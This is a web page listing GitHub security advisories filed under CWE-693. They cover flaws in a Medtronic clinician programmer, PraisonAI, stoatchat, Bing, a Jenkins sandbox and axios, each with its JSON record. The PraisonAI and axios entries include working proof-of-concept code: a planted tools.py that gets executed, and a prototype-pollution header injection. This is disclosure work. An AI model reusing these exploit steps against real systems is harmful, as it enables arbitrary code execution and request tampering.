Common Weakness Enumeration

CWE-693

Discouraged

Protection Mechanism Failure

Abstraction: Pillar · Status: Draft

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

1336 vulnerabilities reference this CWE, most recent first.

GHSA-4G99-XHM8-2RWC

Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2025-05-22 18:31
VLAI
Details

Medtronic N'Vision Clinician Programmer 8840 N'Vision Clinician Programmer, all versions, and 8870 N'Vision removable Application Card, all versions. The 8840 Clinician Programmer executes the application program from the 8870 Application Card. An attacker with physical access to an 8870 Application Card and sufficient technical capability can modify the contents of this card, including the binary executables. If modified to bypass protection mechanisms, this malicious code will be run when the card is inserted into an 8840 Clinician Programmer.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-10631"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-311",
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-13T19:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Medtronic N\u0027Vision Clinician Programmer 8840 N\u0027Vision Clinician Programmer, all versions, and 8870 N\u0027Vision removable Application Card, all versions. The 8840 Clinician Programmer executes the application program from the 8870 Application Card. An attacker with physical access to an 8870 Application Card and sufficient technical capability can modify the contents of this card, including the binary executables. If modified to bypass protection mechanisms, this malicious code will be run when the card is inserted into an 8840 Clinician Programmer.",
  "id": "GHSA-4g99-xhm8-2rwc",
  "modified": "2025-05-22T18:31:08Z",
  "published": "2022-05-13T01:34:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10631"
    },
    {
      "type": "WEB",
      "url": "https://global.medtronic.com/xg-en/product-security/security-bulletins/nvision.html"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.us-cert.gov/advisories/ICSMA-18-137-01"
    },
    {
      "type": "WEB",
      "url": "https://www.medtronic.com/security"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/104213"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4GFV-WG42-7JW5

Vulnerability from github – Published: 2026-10-08 16:48 – Updated: 2026-10-08 16:48
VLAI
Summary
PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow
Details

Summary

An unsafe dynamic module loading vulnerability allows an attacker who can control a workflow file and a sibling tools.py to execute arbitrary Python code when the workflow is executed.

Details

The vulnerability is located in the workflow structured output resolution logic.

File: src/praisonai-agents/praisonaiagents/workflows/workflows.py

Method: AgentFlow._resolve_pydantic_class

if self.file_path:
    workflow_dir = Path(self.file_path).parent
    tools_path = workflow_dir / "tools.py"

    if tools_path.exists():
        spec = importlib.util.spec_from_file_location("tools", tools_path)
        tools_module = importlib.util.module_from_spec(spec)
        spec.loader.exec_module(tools_module)   # Arbitrary code execution

This code is reached during step execution when a step uses a string output_pydantic:

step_output_pydantic = getattr(step, '_output_pydantic', None)
if step_output_pydantic and isinstance(step_output_pydantic, str):
    resolved_class = self._resolve_pydantic_class(step_output_pydantic)

file_path is set automatically by: - WorkflowManager._load_workflow() (used by workspace discovery) - WorkflowManager.create_workflow()

It can also be set manually after load_yaml():

wf = mgr.load_yaml("workflow.yaml")
wf.file_path = "workflow.yaml"

The exec_module() call has no sandboxing and ignores the PRAISONAI_ALLOW_*_TOOLS environment variables used elsewhere in the project.

PoC

Create the following two files in the same directory:

/tmp/attack/attack.yaml

name: AttackWorkflow
steps:
  - name: generate
    action: "Produce structured output"
    output_pydantic: MaliciousModel

/tmp/attack/tools.py

print("[RCE] Arbitrary code executed from tools.py")

import os
with open("/tmp/rce_success.txt", "w") as f:
    f.write(f"RCE executed by PID {os.getpid()}")

class MaliciousModel:
    @classmethod
    def model_json_schema(cls):
        return {"type": "object"}

Run the following Python code (adjust the path to your PraisonAI source):

import sys
sys.path.insert(0, "/home/user/praisonai/src/praisonai-agents")

from praisonaiagents.workflows import WorkflowManager
from praisonaiagents.agent.agent import Agent

mgr = WorkflowManager()
wf = mgr.load_yaml("/tmp/attack/attack.yaml")

wf.file_path = "/tmp/attack/attack.yaml"

for step in wf.steps:
    step.output_pydantic = "MaliciousModel"
    step._output_pydantic = "MaliciousModel"
    if not getattr(step, "agent", None):
        step.agent = Agent(
            name="researcher",
            role="Researcher",
            goal="Generate output",
            instructions="Return structured data"
        )

wf.start("trigger")

Impact

Type: Execution of Untrusted Local Code via Unsafe Dynamic Module Loading.

Affected users include:

  • Users of WorkflowManager(workspace_path=...), where workflow discovery automatically sets file_path.
  • Users of WorkflowManager.create_workflow().
  • Applications that load workflows from repositories, templates, shared workflow collections, CI/CD artifacts, or other directories that may contain untrusted files.

During workflow execution, a string output_pydantic reference causes the framework to automatically locate, import, and execute a sibling tools.py file.

As a result, code contained in tools.py executes with the privileges of the workflow runner without requiring an explicit import or user approval step.

Successful exploitation results in arbitrary Python code execution within the workflow process. An attacker may be able to read local files, access secrets available to the process, modify workflow behavior, perform network operations, or execute additional system commands.

This behavior also bypasses the PRAISONAI_ALLOW_TEMPLATE_TOOLS / PRAISONAI_ALLOW_LOCAL_TOOLS protections used elsewhere in the project, allowing code execution through a separate workflow-resolution path.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.77"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-829"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T16:48:57Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAn unsafe dynamic module loading vulnerability allows an attacker who can control a workflow file and a sibling `tools.py` to execute arbitrary Python code when the workflow is executed.\n\n### Details\nThe vulnerability is located in the workflow structured output resolution logic.\n\nFile: src/praisonai-agents/praisonaiagents/workflows/workflows.py\n\nMethod: AgentFlow._resolve_pydantic_class\n\n```python\nif self.file_path:\n    workflow_dir = Path(self.file_path).parent\n    tools_path = workflow_dir / \"tools.py\"\n\n    if tools_path.exists():\n        spec = importlib.util.spec_from_file_location(\"tools\", tools_path)\n        tools_module = importlib.util.module_from_spec(spec)\n        spec.loader.exec_module(tools_module)   # Arbitrary code execution\n```\n\nThis code is reached during step execution when a step uses a string `output_pydantic`:\n\n```python\nstep_output_pydantic = getattr(step, \u0027_output_pydantic\u0027, None)\nif step_output_pydantic and isinstance(step_output_pydantic, str):\n    resolved_class = self._resolve_pydantic_class(step_output_pydantic)\n```\n\n`file_path` is set automatically by:\n- `WorkflowManager._load_workflow()` (used by workspace discovery)\n- `WorkflowManager.create_workflow()`\n\nIt can also be set manually after `load_yaml()`:\n```python\nwf = mgr.load_yaml(\"workflow.yaml\")\nwf.file_path = \"workflow.yaml\"\n```\n\nThe `exec_module()` call has no sandboxing and ignores the `PRAISONAI_ALLOW_*_TOOLS` environment variables used elsewhere in the project.\n\n\n### PoC\nCreate the following two files in the same directory:\n\n`/tmp/attack/attack.yaml`\n```yaml\nname: AttackWorkflow\nsteps:\n  - name: generate\n    action: \"Produce structured output\"\n    output_pydantic: MaliciousModel\n```\n\n`/tmp/attack/tools.py`\n```python\nprint(\"[RCE] Arbitrary code executed from tools.py\")\n\nimport os\nwith open(\"/tmp/rce_success.txt\", \"w\") as f:\n    f.write(f\"RCE executed by PID {os.getpid()}\")\n\nclass MaliciousModel:\n    @classmethod\n    def model_json_schema(cls):\n        return {\"type\": \"object\"}\n```\n\nRun the following Python code (adjust the path to your PraisonAI source):\n\n```python\nimport sys\nsys.path.insert(0, \"/home/user/praisonai/src/praisonai-agents\")\n\nfrom praisonaiagents.workflows import WorkflowManager\nfrom praisonaiagents.agent.agent import Agent\n\nmgr = WorkflowManager()\nwf = mgr.load_yaml(\"/tmp/attack/attack.yaml\")\n\nwf.file_path = \"/tmp/attack/attack.yaml\"\n\nfor step in wf.steps:\n    step.output_pydantic = \"MaliciousModel\"\n    step._output_pydantic = \"MaliciousModel\"\n    if not getattr(step, \"agent\", None):\n        step.agent = Agent(\n            name=\"researcher\",\n            role=\"Researcher\",\n            goal=\"Generate output\",\n            instructions=\"Return structured data\"\n        )\n\nwf.start(\"trigger\")\n```\n\n### Impact\nType: Execution of Untrusted Local Code via Unsafe Dynamic Module Loading.\n\nAffected users include:\n\n- Users of `WorkflowManager(workspace_path=...)`, where workflow discovery automatically sets `file_path`.\n- Users of `WorkflowManager.create_workflow()`.\n- Applications that load workflows from repositories, templates, shared workflow collections, CI/CD artifacts, or other directories that may contain untrusted files.\n\nDuring workflow execution, a string `output_pydantic` reference causes the framework to automatically locate, import, and execute a sibling `tools.py` file.\n\nAs a result, code contained in `tools.py` executes with the privileges of the workflow runner without requiring an explicit import or user approval step.\n\nSuccessful exploitation results in arbitrary Python code execution within the workflow process. An attacker may be able to read local files, access secrets available to the process, modify workflow behavior, perform network operations, or execute additional system commands.\n\nThis behavior also bypasses the `PRAISONAI_ALLOW_TEMPLATE_TOOLS` / `PRAISONAI_ALLOW_LOCAL_TOOLS` protections used elsewhere in the project, allowing code execution through a separate workflow-resolution path.",
  "id": "GHSA-4gfv-wg42-7jw5",
  "modified": "2026-10-08T16:48:57Z",
  "published": "2026-10-08T16:48:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4gfv-wg42-7jw5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61437"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-tools-py"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow"
}

GHSA-4H96-WM2Q-H7FW

Vulnerability from github – Published: 2026-09-26 15:31 – Updated: 2026-09-26 15:31
VLAI
Details

January, the media proxy/embed service of stoatchat (stoatchat/stoatchat), before version 0.15.5 improperly resolves SVG values as local filesystem paths when a fetched resource is served as image/svg+xml. An unauthenticated remote attacker who causes the service to proxy an attacker-hosted SVG (e.g. via the /proxy endpoint) can determine whether local files exist through observable response-time differences, and can cause supported local image files to be disclosed after re-encoding. Because each referenced file is read in full with no effective limit on the number or total volume of reads, a single request can also generate an unbounded amount of local filesystem I/O and memory pressure (the published proof of concept drives about 4.34 GB of reads), leading to denial of service. The issue is fixed in 0.15.5.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-100676"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-26T14:16:51Z",
    "severity": "HIGH"
  },
  "details": "January, the media proxy/embed service of stoatchat (stoatchat/stoatchat), before version 0.15.5 improperly resolves SVG \u003cimage href\u003e values as local filesystem paths when a fetched resource is served as image/svg+xml. An unauthenticated remote attacker who causes the service to proxy an attacker-hosted SVG (e.g. via the /proxy endpoint) can determine whether local files exist through observable response-time differences, and can cause supported local image files to be disclosed after re-encoding. Because each referenced file is read in full with no effective limit on the number or total volume of reads, a single request can also generate an unbounded amount of local filesystem I/O and memory pressure (the published proof of concept drives about 4.34 GB of reads), leading to denial of service. The issue is fixed in 0.15.5.",
  "id": "GHSA-4h96-wm2q-h7fw",
  "modified": "2026-09-26T15:31:20Z",
  "published": "2026-09-26T15:31:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/stoatchat/stoatchat/security/advisories/GHSA-qv38-hwhv-jm49"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100676"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/stoatchat-before-0.15.5-local-filesystem-read-via-svg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4HG9-HXX4-2H2W

Vulnerability from github – Published: 2024-05-14 18:31 – Updated: 2024-05-14 18:31
VLAI
Details

Microsoft Bing Search Spoofing Vulnerability

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-30041"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-14T17:17:13Z",
    "severity": "MODERATE"
  },
  "details": "Microsoft Bing Search Spoofing Vulnerability",
  "id": "GHSA-4hg9-hxx4-2h2w",
  "modified": "2024-05-14T18:31:04Z",
  "published": "2024-05-14T18:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30041"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30041"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4HJJ-9GP7-4FRG

Vulnerability from github – Published: 2022-10-19 19:00 – Updated: 2022-12-16 16:35
VLAI
Summary
Sandbox bypass vulnerability in Jenkins Pipeline: Groovy Libraries Plugin and Pipeline: Deprecated Groovy Libraries Plugin
Details

Pipeline: Groovy Libraries Plugin and older releases of the Pipeline: Deprecated Groovy Libraries Plugin (formerly Pipeline: Shared Groovy Libraries Plugin) define the library Pipeline step, which allows Pipeline authors to dynamically load Pipeline libraries. The return value of this step can be used to instantiate classes defined in the loaded library.

In Pipeline: Groovy Libraries Plugin 612.v84da_9c54906d and earlier and in Pipeline: Deprecated Groovy Libraries Plugin 583.vf3b_454e43966 and earlier, the library step can be used to invoke sandbox-generated synthetic constructors in crafted untrusted libraries and construct any subclassable type. This is similar to SECURITY-582 in the 2017-08-07 security advisory, but in a different plugin.

This vulnerability allows attackers with permission to define untrusted Pipeline libraries and to define and run sandboxed Pipelines, to bypass the sandbox protection and execute arbitrary code in the context of the Jenkins controller JVM.

Pipeline: Groovy Libraries Plugin 613.v9c41a_160233f rejects improper calls to sandbox-generated synthetic constructors when using the library step.

Pipeline: Deprecated Groovy Libraries Plugin 588.v576c103a_ff86 no longer contains the library step. It has been moved into the Pipeline: Groovy Libraries Plugin.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 613.v9c41a"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.jenkins.plugins:pipeline-groovy-lib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "613.v9c41a_160233f"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 583.vf3b"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins.workflow:workflow-cps-global-lib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "588.v576c103a_ff86"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-43405"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-10-19T22:04:27Z",
    "nvd_published_at": "2022-10-19T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Pipeline: Groovy Libraries Plugin and older releases of the Pipeline: Deprecated Groovy Libraries Plugin (formerly Pipeline: Shared Groovy Libraries Plugin) define the l`ibrary` Pipeline step, which allows Pipeline authors to dynamically load Pipeline libraries. The return value of this step can be used to instantiate classes defined in the loaded library.\n\nIn Pipeline: Groovy Libraries Plugin 612.v84da_9c54906d and earlier and in Pipeline: Deprecated Groovy Libraries Plugin 583.vf3b_454e43966 and earlier, the `library` step can be used to invoke sandbox-generated synthetic constructors in crafted untrusted libraries and construct any subclassable type. This is similar to SECURITY-582 in the [2017-08-07 security advisory](https://www.jenkins.io/security/advisory/2017-08-07/#multiple-groovy-language-features-allowed-script-security-plugin-sandbox-bypass), but in a different plugin.\n\nThis vulnerability allows attackers with permission to define untrusted Pipeline libraries and to define and run sandboxed Pipelines, to bypass the sandbox protection and execute arbitrary code in the context of the Jenkins controller JVM.\n\nPipeline: Groovy Libraries Plugin 613.v9c41a_160233f rejects improper calls to sandbox-generated synthetic constructors when using the `library` step.\n\nPipeline: Deprecated Groovy Libraries Plugin 588.v576c103a_ff86 no longer contains the `library` step. It has been moved into the Pipeline: Groovy Libraries Plugin.",
  "id": "GHSA-4hjj-9gp7-4frg",
  "modified": "2022-12-16T16:35:55Z",
  "published": "2022-10-19T19:00:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43405"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2022-10-19/#SECURITY-2824%20(2)"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/10/19/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sandbox bypass vulnerability in Jenkins Pipeline: Groovy Libraries Plugin and Pipeline: Deprecated Groovy Libraries Plugin"
}

GHSA-4HQW-QXG8-JXX2

Vulnerability from github – Published: 2026-09-30 15:34 – Updated: 2026-09-30 15:34
VLAI
Summary
Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders
Details

Summary

Axios contains a guard in the Node HTTP adapter to avoid using an inherited Object.prototype.getHeaders as a FormData header source. The fetch adapter calls the shared resolveConfig() helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes Object.prototype with FormData-like properties and getHeaders(), the fetch adapter can merge attacker-controlled headers into the outbound request.

Axios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path.

Impact

An attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic.

Plain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties.

Affected Functionality

Affected:

  • Fetch adapter requests.
  • resolveConfig() handling of utils.isFormData(data).
  • Request bodies that can be spoofed as FormData through inherited Symbol.toStringTag, append, and getHeaders.

Not affected:

  • Node HTTP adapter's later FormData header path, which checks data.getHeaders !== Object.prototype.getHeaders.
  • Plain object request bodies rejected by current isFormData() plain-object guard.
  • Processes without prototype pollution.

Technical Details

lib/helpers/resolveConfig.js currently contains:

if (utils.isFormData(data)) {
  if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) {
    headers.setContentType(undefined);
  } else if (utils.isFunction(data.getHeaders)) {
    setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));
  }
}

Unlike lib/adapters/http.js, this code does not reject Object.prototype.getHeaders. Local verification on axios 1.18.1 polluted Object.prototype[Symbol.toStringTag], append, and getHeaders, then sent an array body with adapter: 'fetch'. The loopback server received X-Poisoned: yes.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype[Symbol.toStringTag] = 'FormData';
Object.prototype.append = function () {};
Object.prototype.getHeaders = () => ({ 'X-Poisoned': 'yes' });

await axios.post(url, ['a', 'b'], { adapter: 'fetch' });

Expected safe behavior is that inherited Object.prototype.getHeaders is ignored. Current affected behavior merges the returned header.

Workarounds

Use the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.

Original report

## Summary The Node HTTP adapter contains a guard that prevents `Object.prototype.getHeaders` from being used as a FormData header source. The shared `resolveConfig()` helper does not have the same guard. The fetch adapter calls `resolveConfig()`, so it can still merge headers returned by inherited `data.getHeaders()`. This is a patch mismatch for the FormData prototype-pollution header-injection class. ## Affected Version Validated on: - axios: `1.17.0` - commit: `4306df2` - runtime: Node.js `v24.15.0` ## Preconditions - Application uses `adapter: 'fetch'`. - A separate prototype-pollution primitive can write: - `Object.prototype[Symbol.toStringTag] = 'FormData'` - `Object.prototype.append = function () {}` - `Object.prototype.getHeaders = function () { ... }` - The request body is an array or custom class instance. Plain objects are blocked by the current `isFormData()` plain-object guard. ## Root Cause `lib/adapters/http.js` contains:
data.getHeaders !== Object.prototype.getHeaders
But `lib/helpers/resolveConfig.js` only checks:
} else if (utils.isFunction(data.getHeaders)) {
  setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));
}
The fetch adapter calls `resolveConfig(config)` before dispatching the request. ## Impact An attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks. ## Proof of Concept
import axios from './index.js';
import http from 'http';

const start = (handler) => new Promise((resolve) => {
  const server = http.createServer((req, res) => {
    let body = '';
    req.on('data', (chunk) => (body += chunk));
    req.on('end', () => handler(req, res, body));
  });
  server.listen(0, '127.0.0.1', () => resolve(server));
});

const stop = (server) => new Promise((resolve) => server.close(resolve));

const hits = [];
const tag = Symbol.toStringTag;

const server = await start((req, res, body) => {
  hits.push({ headers: req.headers, body });
  res.setHeader('Content-Type', 'application/json');
  res.end('{"ok":true}');
});

try {
  Object.prototype[tag] = 'FormData';
  Object.prototype.append = function () {};
  Object.prototype.getHeaders = () => {
    const headers = Object.create(null);
    headers['X-Poisoned'] = 'yes';
    return headers;
  };

  await axios.post(`http://127.0.0.1:${server.address().port}/fetch-formdata`, ['a', 'b'], {
    adapter: 'fetch',
    timeout: 3000
  });

  console.log(hits[0]);
} finally {
  delete Object.prototype[tag];
  delete Object.prototype.append;
  delete Object.prototype.getHeaders;
  await stop(server);
}
Observed wire request:
{
  "headers": {
    "x-poisoned": "yes",
    "content-type": "text/plain;charset=UTF-8",
    "content-length": "3"
  },
  "body": "a,b"
}
## References - https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9 - https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9 - Related patch area: `lib/adapters/http.js`, `lib/helpers/resolveConfig.js`
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.12.0"
            },
            {
              "fixed": "1.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-101900"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-693",
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-30T15:34:46Z",
    "nvd_published_at": "2026-09-28T18:17:18Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nAxios contains a guard in the Node HTTP adapter to avoid using an inherited `Object.prototype.getHeaders` as a FormData header source. The fetch adapter calls the shared `resolveConfig()` helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes `Object.prototype` with FormData-like properties and `getHeaders()`, the fetch adapter can merge attacker-controlled headers into the outbound request.\n\nAxios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path.\n\n## Impact\n\nAn attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic.\n\nPlain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties.\n\n## Affected Functionality\n\nAffected:\n\n- Fetch adapter requests.\n- `resolveConfig()` handling of `utils.isFormData(data)`.\n- Request bodies that can be spoofed as FormData through inherited `Symbol.toStringTag`, `append`, and `getHeaders`.\n\nNot affected:\n\n- Node HTTP adapter\u0027s later FormData header path, which checks `data.getHeaders !== Object.prototype.getHeaders`.\n- Plain object request bodies rejected by current `isFormData()` plain-object guard.\n- Processes without prototype pollution.\n\n## Technical Details\n\n`lib/helpers/resolveConfig.js` currently contains:\n\n```js\nif (utils.isFormData(data)) {\n  if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) {\n    headers.setContentType(undefined);\n  } else if (utils.isFunction(data.getHeaders)) {\n    setFormDataHeaders(headers, data.getHeaders(), own(\u0027formDataHeaderPolicy\u0027));\n  }\n}\n```\n\nUnlike `lib/adapters/http.js`, this code does not reject `Object.prototype.getHeaders`. Local verification on axios `1.18.1` polluted `Object.prototype[Symbol.toStringTag]`, `append`, and `getHeaders`, then sent an array body with `adapter: \u0027fetch\u0027`. The loopback server received `X-Poisoned: yes`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype[Symbol.toStringTag] = \u0027FormData\u0027;\nObject.prototype.append = function () {};\nObject.prototype.getHeaders = () =\u003e ({ \u0027X-Poisoned\u0027: \u0027yes\u0027 });\n\nawait axios.post(url, [\u0027a\u0027, \u0027b\u0027], { adapter: \u0027fetch\u0027 });\n```\n\nExpected safe behavior is that inherited `Object.prototype.getHeaders` is ignored. Current affected behavior merges the returned header.\n\n## Workarounds\n\nUse the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n## Summary\n\nThe Node HTTP adapter contains a guard that prevents `Object.prototype.getHeaders` from being used as a FormData header source. The shared `resolveConfig()` helper does not have the same guard. The fetch adapter calls `resolveConfig()`, so it can still merge headers returned by inherited `data.getHeaders()`.\n\nThis is a patch mismatch for the FormData prototype-pollution header-injection class.\n\n## Affected Version\n\nValidated on:\n\n- axios: `1.17.0`\n- commit: `4306df2`\n- runtime: Node.js `v24.15.0`\n\n## Preconditions\n\n- Application uses `adapter: \u0027fetch\u0027`.\n- A separate prototype-pollution primitive can write:\n  - `Object.prototype[Symbol.toStringTag] = \u0027FormData\u0027`\n  - `Object.prototype.append = function () {}`\n  - `Object.prototype.getHeaders = function () { ... }`\n- The request body is an array or custom class instance. Plain objects are blocked by the current `isFormData()` plain-object guard.\n\n## Root Cause\n\n`lib/adapters/http.js` contains:\n\n```js\ndata.getHeaders !== Object.prototype.getHeaders\n```\n\nBut `lib/helpers/resolveConfig.js` only checks:\n\n```js\n} else if (utils.isFunction(data.getHeaders)) {\n  setFormDataHeaders(headers, data.getHeaders(), own(\u0027formDataHeaderPolicy\u0027));\n}\n```\n\nThe fetch adapter calls `resolveConfig(config)` before dispatching the request.\n\n## Impact\n\nAn attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks.\n\n## Proof of Concept\n\n```js\nimport axios from \u0027./index.js\u0027;\nimport http from \u0027http\u0027;\n\nconst start = (handler) =\u003e new Promise((resolve) =\u003e {\n  const server = http.createServer((req, res) =\u003e {\n    let body = \u0027\u0027;\n    req.on(\u0027data\u0027, (chunk) =\u003e (body += chunk));\n    req.on(\u0027end\u0027, () =\u003e handler(req, res, body));\n  });\n  server.listen(0, \u0027127.0.0.1\u0027, () =\u003e resolve(server));\n});\n\nconst stop = (server) =\u003e new Promise((resolve) =\u003e server.close(resolve));\n\nconst hits = [];\nconst tag = Symbol.toStringTag;\n\nconst server = await start((req, res, body) =\u003e {\n  hits.push({ headers: req.headers, body });\n  res.setHeader(\u0027Content-Type\u0027, \u0027application/json\u0027);\n  res.end(\u0027{\"ok\":true}\u0027);\n});\n\ntry {\n  Object.prototype[tag] = \u0027FormData\u0027;\n  Object.prototype.append = function () {};\n  Object.prototype.getHeaders = () =\u003e {\n    const headers = Object.create(null);\n    headers[\u0027X-Poisoned\u0027] = \u0027yes\u0027;\n    return headers;\n  };\n\n  await axios.post(`http://127.0.0.1:${server.address().port}/fetch-formdata`, [\u0027a\u0027, \u0027b\u0027], {\n    adapter: \u0027fetch\u0027,\n    timeout: 3000\n  });\n\n  console.log(hits[0]);\n} finally {\n  delete Object.prototype[tag];\n  delete Object.prototype.append;\n  delete Object.prototype.getHeaders;\n  await stop(server);\n}\n```\n\nObserved wire request:\n\n```json\n{\n  \"headers\": {\n    \"x-poisoned\": \"yes\",\n    \"content-type\": \"text/plain;charset=UTF-8\",\n    \"content-length\": \"3\"\n  },\n  \"body\": \"a,b\"\n}\n```\n\n## References\n\n- https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9\n- https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9\n- Related patch area: `lib/adapters/http.js`, 